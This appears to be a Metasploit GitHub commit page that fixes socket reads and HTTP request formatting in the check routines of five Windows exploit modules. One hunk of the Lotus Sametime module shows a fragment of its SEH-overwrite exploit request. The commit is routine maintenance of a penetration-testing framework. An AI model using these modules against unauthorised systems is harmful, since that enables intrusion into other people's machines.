Skip to content

Commit e806222

Browse files
author
HD Moore
committed
Fix bad copypast, sock.get usage, HTTP mistakes
1 parent 90eccef commit e806222

File tree

5 files changed

+21
-19
lines changed

5 files changed

+21
-19
lines changed

modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -82,13 +82,14 @@ def initialize(info = {})
8282

8383
def check
8484
connect
85-
banner = sock.get_once(-1,3)
85+
banner = sock.get_once || ""
86+
disconnect
87+
8688
validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
8789
validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
8890
validate << "\xf1\xc6\xf7\x21\x0d\x0a"
89-
disconnect
90-
91-
if (banner == validate)
91+
92+
if banner.to_s == validate
9293
return Exploit::CheckCode::Vulnerable
9394
end
9495
return Exploit::CheckCode::Safe

modules/exploits/windows/lotus/domino_sametime_stmux.rb

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -63,26 +63,27 @@ def initialize(info = {})
6363
def check
6464
connect
6565

66-
req = "HEAD / HTTP/1.0\r\n\r\n"
67-
req << "User-Agent: Sametime Community Agent\r\n"
66+
req = "HEAD / HTTP/1.1\r\n"
6867
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
68+
req << "User-Agent: Sametime Community Agent\r\n\r\n"
69+
6970
sock.put(req)
70-
res = sock.get_once(-1,3) || ''
71+
res = sock.get_once || ''
7172

7273
disconnect
7374

74-
if (res =~/Lotus-Domino/)
75+
if (res.to_s =~/Lotus-Domino/)
7576
connect
7677

77-
req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
78-
req << "User-Agent: Sametime Community Agent\r\n"
78+
req = "GET /CommunityCBR HTTP/1.1\r\n"
7979
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
80+
req << "User-Agent: Sametime Community Agent\r\n\r\n"
8081
sock.put(req)
81-
res = sock.get_once(-1,3) || ''
82+
res = sock.get_once || ''
8283

8384
disconnect
8485

85-
if (res =~/200 OK/)
86+
if (res.to_s =~ /200 OK/)
8687
return Exploit::CheckCode::Detected
8788
end
8889
end
@@ -106,8 +107,8 @@ def exploit
106107
path = pad1 + jmp + seh + pad2 + popebx + popad + esp
107108

108109
req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
109-
req << "User-Agent: Sametime Community Agent\r\n"
110110
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
111+
req << "User-Agent: Sametime Community Agent\r\n"
111112
req << "Content-Length: #{payload.encoded.length}\r\n"
112113
req << "Connection: Close\r\n"
113114
req << "Cache-Control: no-cache\r\n\r\n"

modules/exploits/windows/proxy/ccproxy_telnet_ping.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,10 +58,10 @@ def initialize(info = {})
5858

5959
def check
6060
connect
61-
banner = sock.get_once(-1,3) || ''
61+
banner = sock.get_once || ''
6262
disconnect
6363

64-
if (banner =~ /CCProxy Telnet Service Ready/)
64+
if banner.to_s =~ /CCProxy Telnet Service Ready/
6565
return Exploit::CheckCode::Detected
6666
end
6767
return Exploit::CheckCode::Safe

modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,10 +58,10 @@ def initialize(info = {})
5858

5959
def check
6060
connect
61-
banner = sock.get_once(-1,3) || ''
61+
banner = sock.get_once || ''
6262
disconnect
6363

64-
if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
64+
if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
6565
return Exploit::CheckCode::Detected
6666
end
6767
return Exploit::CheckCode::Safe

modules/exploits/windows/telnet/gamsoft_telsrv_username.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -84,10 +84,10 @@ def check
8484
connect
8585
print_status("Attempting to determine if target is possibly vulnerable...")
8686
select(nil,nil,nil,7)
87-
banner = sock.get_once(-1,3) || ''
87+
banner = sock.get_once || ''
8888
vprint_status("Banner: #{banner}")
8989

90-
if (banner =~ /TelSrv 1\.5/)
90+
if banner.to_s =~ /TelSrv 1\.5/
9191
return Exploit::CheckCode::Appears
9292
end
9393
return Exploit::CheckCode::Safe

0 commit comments

Comments
 (0)